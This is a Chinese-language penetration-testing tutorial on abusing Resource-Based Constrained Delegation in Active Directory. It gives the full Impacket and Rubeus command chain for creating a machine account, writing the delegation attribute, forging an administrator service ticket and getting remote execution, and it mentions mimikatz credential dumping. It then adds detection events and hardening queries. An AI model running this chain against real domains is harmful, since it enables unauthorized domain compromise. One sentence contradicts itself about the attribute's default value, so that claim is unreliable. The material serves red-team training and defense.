我在一次授权范围内的内网渗透测试中碰到过这样一个场景:已经拿下一台普通域用户权限,目标里只剩下一台 SQL 服务器和一台文件服务器,常规的密码喷洒和横向移动都没什么收获。最后真正打通路径的,不是某个弱口令,而是一套在很多内网里非常常见的机制——基于资源的约束委派(Resource-Based Constrained Delegation,简称 RBCD)。这篇文章就围绕 RBCD 的利用细节展开,把我在实际项目中遇到的原理、权限条件、完整命令、踩坑点和防御建议都整理出来,供大家在做红队评估或者加固排查时参考。
1. 先把概念捋清楚:RBCD 与老式委派的本质差异
1.1 三种委派机制的前世今生
Windows 域里的“委派”本质上是解决一个问题:服务账号 A 代表用户 U 去访问资源 B。比如用户访问前端应用,应用再带着用户身份去读后端数据库,这就需要一个委派机制。
老式方案有三种,风险等级完全不同。
无约束委派(Unconstrained Delegation)是最早期的做法:被信任的服务器获得用户在认证时留下的可转发票据(TGT),之后就可以一直代表用户访问任何服务。这种方案权限过大,由于票据常驻内存,攻击者只要拿到这台服务器的权限,就能批量提取域内高权限用户的 TGT,基本相当于把域控钥匙挂在门口。
传统约束委派(Constrained Delegation)是后面的改进:通过用户或计算机对象上的msDS-AllowedToDelegateTo属性,明确指定这个服务账号可以代表用户访问哪些 SPN。例如某个 Web 服务只能委派给MSSQL/db这个 SPN。但问题是配置权完全握在域管理员手里,攻防中攻击者在拿到域管权限前很难直接添加这种委派。
基于资源的约束委派(RBCD)是 Windows Server 2012 引入的新机制。它最大的变化是把“允许谁代表用户来访问我”的决定权,从域管理员身上移交给了资源本身。配置位置也从发起方账号的属性,变成了目标服务所在机器账号上的msDS-AllowedToActOnBehalfOfOtherIdentity属性。通俗地说,以前是“域管规定 A 可以代表用户访问 B”,现在是“B 自己决定允许 A 代表用户来访问我”。
这个设计本意是方便运维:服务 A 的所有者不需要打扰域管,自己配置一份“允许列表”就行。但任何赋予本地实体更多自治权的功能,往往也是攻击者喜欢的目标,RBCD 也不例外。
1.2 关键属性:目标服务上的那张“门禁清单”
RBCD 的配置位置是目标资源机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性。
这个名字很长,但含义很清晰:“允许以其他用户身份对我执行操作的账户列表”。它的值是一个安全描述符(SDDL 格式),里面封装了一个或多个 SID。当域控在处理某个访问请求时,如果发现访问的目标资源上配置了这个属性,就会检查请求方账号的 SID 是否在“允许列表”中。
流程可以简化成三步:
- 目标资源 B 上标记了“账号 A 在允许名单里”。
- 域内某用户 U(比如 administrator)想访问 B。
- A 代表 U 去找域控申请票据,域控发现 A 是 B 认可的委托方,就给 A 发放一张“ U 访问 B ”的服务票据。
关键在于:msDS-AllowedToActOnBehalfOfOtherIdentity属性默认不是空的。在纯默认环境下它通常是NULL,此时该机制不生效。攻击者要做的,就是把自己可控的账号 SID 写进这张“门禁清单”。
1.3 为什么它在攻防演练里这么“香”
我发现很多红队人员现在优先考虑 RBCD,而不是去翻旧的无约束委派清单,原因很直接。
第一,利用门槛低。传统约束委派必须域管理员配置,无约束委派虽然配置也要求域管,但通过LDAP查询市面上有太多现成脚本检测,防守方监控也很到位。RBCD 不一样,它允许资源的所有者自主配置,而很多业务管理员确实会在无意中放开权限。
第二,普通域用户默认就能创建机器账号。这意味着攻击者不需要一开始就拿到高权限,从一个低权限账户出发就有机会完成攻击。
第三,隐蔽性相对更好。如果防守方没有对msDS-AllowedToActOnBehalfOfOtherIdentity属性变化做监控,攻击者在目标机器上写入一条委派记录往往不会触发传统告警。
2. 利用前的权限盘点:并不是拿到域账号就能随便玩
2.1 三个必要条件缺一不可
在实际操作之前,先把必要条件列清楚:
- 第一个条件:一个可控账号。攻击者至少要拥有一个知道密码或哈希的身份主体,可以是机器账号,也可以是用户账号。从实战看,最常用的是机器账号,因为它的密码可控且不会被要求定期更换(正常情况下机器账号密码由域控管理,但新建时我们可以指定)。
- 第二个条件:对目标机器账号有写
msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。默认情况下,机器对象的 ACL 会允许SYSTEM、域管理员、机器本地管理员等身份对该属性有写权限。普通域用户一般没有,但很多企业的 AD 里存在各种被放宽的 ACL,比如某用户对一组机器账号有GenericWrite或WriteProperty。 - 第三个条件:目标环境支持 RBCD。域功能级别和机器系统都要求 Windows Server 2012 及以上,Windows 7、Server 2008 这类老机器不行,这在老内网里要注意。
在实际项目中,第三个条件大多数时候都满足,第二个条件才是真正的卡点。
2.2 默认配额:普通域用户为什么能创建机器账号
我经常被问一个问题:“普通域用户怎么能创建机器账号?这难道不是域管权限吗?”其实不是。
在 Active Directory 域里,有一个属性叫ms-DS-MachineAccountQuota,默认值是 10。这个属性定义了一个普通域用户最多可以创建的计算机账号数量。注意是“普通域用户”,不需要任何管理员权限。
也就是说,一个没有特殊权限的域用户,可以在域内创建最多 10 台“机器”,每台都对应一个机器账号(形如RBCD01$)。创建完成后,这个用户会被自动赋予对该机器账号的完全控制权限,其中就包括重置密码。
为什么这一点对 RBCD 攻击很关键?因为攻击者需要“一个可控账号”作为委托方。直接复制一个机器账号自己掌握密码,就相当于凭空变出了一个“受自己控制的服务主体”。在默认配额下,这条路是通的。
我见过一些企业把配额改成 0 来加固,但又不测试业务影响,结果导致某些自动化加域脚本直接报废。所以做权限收敛时千万不能拍脑袋。
2.3 从各种 ACL 链条到 RBCD 的转化
在复杂的 AD 环境里,最让我头疼的是权限链梳理。因为直接对目标机器账号有WriteProperty权限的情况并不多,更多时候是“间接获得”。
举个例子。攻击者控制了一个用户账号zhangsan,通过 BloodHound 分析发现zhangsan对某个服务账号svc-backup有GenericAll权限。攻击者就可以先重置svc-backup的密码,然后用svc-backup的身份去写目标机器上的 RBCD 属性。这一层转化如果没理清,真实环境里很容易卡住。
再比如,攻击者拿到了一台低权限机器,发现该机器账号对另一台高价值机器账号有GenericWrite权限,那也可以通过 RBCD 横向过去,甚至不需要新建机器账号,直接用当前机器账号作为委托方。
所以在实战中我建议先跑一遍 BloodHound,重点看以下几种边关系:
GenericAll/GenericWrite/WriteDacl指向高价值机器账号或服务账号;AllowedToActOnBehalfOfOtherIdentity已经存在的异常配置;- 普通域用户账号能否创建机器账号(对应
MachineAccountQuota是否大于 0)。
这些边关系往往就是 RBCD 利用的入场券。
3. 实操:从创建账号到拿到目标服务票据
3.1 第一步:获得一个可控机器账号
先说明一点,下面所有命令我都建议在授权认可的测试环境里操作。我自己常用 Impacket 套件里的addcomputer.py来创建机器账号。
最基本的命令是这样:
python3 addcomputer.py -computer-name 'RBCD01$' -computer-pass 'RbcD@2024' -dc-ip 10.10.10.10 'corp/zhangsan:P@ssw0rd'参数含义:
-computer-name:要创建的机器账号名称,记得带上$后缀;-computer-pass:指定的机器账号密码,之后要用它换取 TGT;-dc-ip:域控 IP;- 最后的
corp/zhangsan:P@ssw0rd是当前可控的域账号和密码。
执行成功后会提示账户创建完成,这个新机器账号默认落在CN=Computers容器下。
有些环境禁用了 SAMR 方式创建机器账号,这时会报错。较新版本的 Impacket 支持使用 LDAPS 方式:
python3 addcomputer.py -computer-name 'RBCD01$' -computer-pass 'RbcD@2024' -method LDAPS -dc-ip 10.10.10.10 'corp/zhangsan:P@ssw0rd'实测下来,规范的域环境基本都能通过 SAMR 创建,如果遇到KDC_ERR_PREAUTH_REQUIRED或Access Denied,先用 LDAPS 再试一次,成功率会高很多。
3.2 第二步:把一个可控账号写进目标资源的“门禁清单”
有了可控账号后,下一步就是把RBCD01$的 SID 写入目标机器TARGET01$的msDS-AllowedToActOnBehalfOfOtherIdentity属性。
使用 Impacket 的rbcd.py非常直接:
python3 rbcd.py -delegate-to 'TARGET01$' -delegate-from 'RBCD01$' -dc-ip 10.10.10.10 'corp/zhangsan:P@ssw0rd'参数解释:
-delegate-to:目标资源机器账号;-delegate-from:攻击者控制的委托方账号;- 最后的账号根据实际权限来定,这个账号需要对
TARGET01$有写属性权限。
有的同学会疑惑:明明zhangsan是个普通账号,哪来的权限写TARGET01$?这就是前面说的 ACL 链问题,需要实际环境支持。在默认情况下,这个命令很可能报Access Denied,因为普通域用户对一台普通服务器没有写权限。但如果zhangsan对TARGET01$有GenericWrite、WriteProperty、GenericAll等关系,或者运气好你是机器本地管理员,就能写成功。
写成功后可以执行删除操作,以便后续清理痕迹(当然,真实攻防里是否清理取决于目标):
python3 rbcd.py -delegate-to 'TARGET01$' -delegate-from 'RBCD01$' -action remove -dc-ip 10.10.10.10 'corp/zhangsan:P@ssw0rd'这个命令把RBCD01$从TARGET01$的允许列表中移除。
3.3 第三步:理解 S4U2Self 与 S4U2Proxy 的配合
写完了属性只是打好了基础,真正取票的关键在于 Kerberos 协议的两个扩展:S4U2Self 和 S4U2Proxy。
S4U2Self,全称 Service for User to Self。它的作用是让一个服务代表指定用户向自己申请一张票据。换句话说,RBCD01$可以假装自己是一个目标服务,代表administrator向域控申请一张“ administrator 访问 RBCD01 自身 ”的可转发票据。这个扩展不需要传统委派配置,这在协议层面是合法的。
S4U2Proxy,全称 Service for User to Proxy。它使用 S4U2Self 得到的可转发票据,再向域控申请另一张票据,目标是真正需要访问的资源,比如cifs/TARGET01.corp.local。域控在处理这个请求时,会检查TARGET01$身上是否有RBCD01$的 SID,如果匹配,就会发放一张“ administrator 访问 TARGET01 ”的服务票据。
流程上可以理解为:
RBCD01$拿到 administrator 的 TGT(或者由工具代劳);RBCD01$发起 S4U2Self,获得 administrator 针对自身的可转发票据;RBCD01$发起 S4U2Proxy,用这个可转发票据换取目标服务的最终票据;- 攻击者拿到票据后,直接把票据当作自己的身份去访问目标机器。
这条链路能走通的根本原因,就是TARGET01$信任RBCD01$。所以在整个攻击链路里,msDS-AllowedToActOnBehalfOfOtherIdentity的写入是核心,S4U 协议只是标准工具。
3.4 第四步:实际取票与票据使用
取票最常用的还是 Impacket 的getST.py:
python3 getST.py -spn 'cifs/TARGET01.corp.local' -impersonate 'administrator' -dc-ip 10.10.10.10 'corp/RBCD01$:RbcD@2024'注意几个细节。
-spn参数要写对。目标服务不同,SPN 也不同:
- 文件共享/远程管理:
cifs/主机名 - 远程桌面:
termsrv/主机名或cifs/主机名配合 RDP 使用 - HTTP 服务:
http/主机名 - SQL Server:
mssqlsvc/主机名:1433之类 - LDAP:
ldap/主机名
-impersonate参数是要冒用的用户,通常选administrator,但要注意该用户是否存在。有的域把内置管理员改名,或者直接禁用,那就换个高权限的域账号,比如CORP\adm_manage。
getST.py使用的凭据是RBCD01$的密码,因为我们创建机器账号时指定过,所以这一步很稳。
执行成功后会在当前目录生成一个.ccache票据文件,文件名类似administrator@cifs_TARGET01.corp.local.ccache。
使用前设置环境变量,然后调用远程执行工具即可:
export KRB5CCNAME=/path/to/administrator@cifs_TARGET01.corp.local.ccache python3 wmiexec.py -k -no-pass target01.corp.local-k表示使用 Kerberos 认证,-no-pass表示不再需要密码。这样就能以 administrator 身份在目标机器上执行命令了。如果目标开启 SMB 相关服务,也可以换成smbexec.py、psexec.py。
在 Windows 现场使用时,Rubeus 的s4u功能是另一个高效选择:
Rubeus.exe s4u /user:RBCD01$ /rc4:NT_HASH /impersonateuser:administrator /msdsspn:cifs/target01.corp.local /ptt命令执行后票据会直接打入当前会话,然后再执行dir \\target01.corp.local\c$就能看到目录内容。
4. 常见问题与踩坑记录
4.1 写属性阶段报 Access Denied,问题出在哪
这是我在实际环境中遇到最多的报错。rbcd.py写入失败,八成不是因为工具用错,而是当前账号根本没有写msDS-AllowedToActOnBehalfOfOtherIdentity的权限。
排查思路:
- 确认目标机器账号名称有没有写错,注意
$后缀; - 确认当前账号是否对目标机器有
GenericWrite/WriteProperty类权限,可以用 BloodHound 或者PowerView再查一遍; - 确认是否存在父级 OU 的委派权限下放,有时对 OU 有
Create Computer Object权限也意味着可以写部分属性; - 如果当前账号恰好是目标机器的本地管理员,但又不是域管,这种情况很微妙。需要检查本地管理员组的
SamAccountName对应的域账号是否能写机器账号属性,多数情况下是可以通过,但有些企业把机器账号 ACL 改得很严格。
另一个容易忽略的点是:rbcd.py默认使用 LDAP 协议。如果目标环境禁用明文 LDAP 绑定,就要考虑 LDAPS。虽然协议不同,但权限模型一样。
4.2 票据申请失败:SPN、时钟、主机名三座大山
用getST.py取票时失败,最常见的原因有三个。
第一是时钟偏移。Kerberos 默认允许最大 5 分钟偏差,如果攻击机时间和域控时间差距超过范围,会直接报KDC_ERR_PREAUTH_FAILED或KDC_ERR_CLIENT_REVOKED。解决办法是同步时间:
sudo ntpdate -u 10.10.10.10第二是 SPN 写错。cifs/TARGET01和cifs/target01.corp.local看起来差不多,但 SPN 必须精确匹配服务注册的名称。拿不准时先用setspn -T corp.local -Q */*在目标机器上查一下,或者用ldapsearch看servicePrincipalName属性。
第三是主机名解析。使用 Impacket 工具时,目标主机名会通过 DNS 解析。如果攻击机不在目标内网 DNS 里,或者目标服务器有内网别名,就需要手动在/etc/hosts里加上TARGET01的 IP 和主机名映射。这一步很多人忽略,导致最终访问时一直连不上。
4.3 工具版本与手法兼容性
Impacket 是个很活跃的工具包,版本不同行为也不一样。老版本addcomputer.py默认用 SAMR,新版本开始支持-method参数切换到 LDAP/LDAPS。如果命令报“unknown option”,优先检查是不是 Impacket 版本太旧。
Rubeus 方面,/rc4参数接受的是机器账号的 NTLM 哈希。如果没拿到哈希,也可以先用sekurlsa::logonpasswords提取,或者通过重置密码后计算对应哈希。
另外提醒一点:RBCD 利用并不是只能横向移动。当攻击者拿到域内高权限账号(比如域管)后,也可以通过配置 RBCD 做权限维持,但那只适用于特殊场景。单纯为了拿下一台机器,走 RBCD 模型已经足够了。
5. 防守方视角:怎么尽早发现和止血
5.1 应重点监控的日志与事件
RBCD 利用过程中,最值得盯的环节是属性写入,而不是票据申请阶段。因为创建机器账号、修改目标机器账号属性都会在域控上留下安全事件记录。
我整理过一张常用的事件对照表:
| 事件ID | 含义 | 与 RBCD 的关系 |
|---|---|---|
| 4741 | 创建计算机账户 | 攻击者用 addcomputer.py 创建机器账号时触发 |
| 4742 | 计算机账户被修改 | 写入 msDS-AllowedToActOnBehalfOfOtherIdentity 时触发 |
| 4743 | 计算机账户被删除 | 攻击者清理痕迹时可能触发 |
| 4738 | 用户账户被修改 | 如果委派对象被恶意改造为某个用户账号时触发 |
| 4662 | 目录服务访问 | 需要额外开启“审计目录服务访问”,能看到 LDAP 写操作细节 |
但这里有个现实问题:默认情况下,Windows 并不会把 4662 级别的 LDAP 写入明细全部记录下来,必须通过组策略开启详细审计,而且日志量会显著增加。很多企业在事前没有配置,导致事后想溯源时缺少关键证据。所以我一直建议,至少要把“审计目录服务访问”在域控上打开,并配合 SIEM 对 4742 事件做实时告警。
5.2 权限收敛与配置加固清单
防御 RBCD,核心是让攻击者“没有权限去写属性”以及“没有可控账号可用”。
第一,检查并收紧ms-DS-MachineAccountQuota。如果业务必须要创建机器账号,那就限制为业务账号可创建;如果不需要,直接改为 0。改动后要评估自动加域脚本是否受影响。
第二,排查 AD 对象 ACL。重点清理普通域用户对机器账号、服务账号的GenericAll、GenericWrite、WriteDacl权限。这块工作量大,建议用 BloodHound 或 PowerShell 批跑一遍,找出所有指向高价值服务器账号的高风险 ACL。
第三,对高价值目标机器账号,额外检查msDS-AllowedToActOnBehalfOfOtherIdentity是否非空。如果非空且没有业务依据,立刻想办法确认是谁写入的,并评估事件时间点前后的登录行为。
第四,可以考虑对关键系统采用“跳板机 + 双向认证”架构,减少单一主机被拿下后直接横向到核心服务的可能性。
5.3 自查命令:当前环境是否已有可疑配置
在加固收尾阶段,我会习惯跑几条命令快速排查。
使用 ActiveDirectory 模块,查询域内所有配置了 RBCD 属性的机器:
Get-ADComputer -Filter 'msDS-AllowedToActOnBehalfOfOtherIdentity -ne "$null"' -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Select-Object Name, msDS-AllowedToActOnBehalfOfOtherIdentity如果手头只有 ADSI 也可以:
$searcher = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://DC=corp,DC=local") $searcher.Filter = "(&(objectClass=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" $searcher.PropertiesToLoad.Add("msDS-AllowedToActOnBehalfOfOtherIdentity") | Out-Null $searcher.FindAll()需要说明的是,msDS-AllowedToActOnBehalfOfOtherIdentity属性在 PowerShell 中显示为原始字节,不方便直接阅读 SDDL。如果只做判断是否有值,上述脚本足够;如果想看具体是哪个 SID,建议用Sddl转换工具或在 Impacket 里读取解析。
此外,我经常建议蓝队把“域内机器账号创建”也纳入异常场景。一台正常的业务机器一个月可能不会创建几次,但如果某天某普通账号批量创建了多个机器账号,那就要警惕了。
坦白说,RBCD 在整个 AD 攻击链里属于“上手快、成功率不低”的技术,我在几次实战里遇到的难点往往不是命令本身,而是权限链的梳理——你手上这个普通账号到底对哪台机器有写权限,需要多花点时间用 BloodHound 把路径画出来。站在防守方角度,及早收紧 ACL、盯住属性变化,比单纯禁用某个协议要更有效。最后还是那句老话:任何安全测试都需要先拿到书面授权,把这套流程吃透,更多是为了知道怎么挡,而不是为了到处试。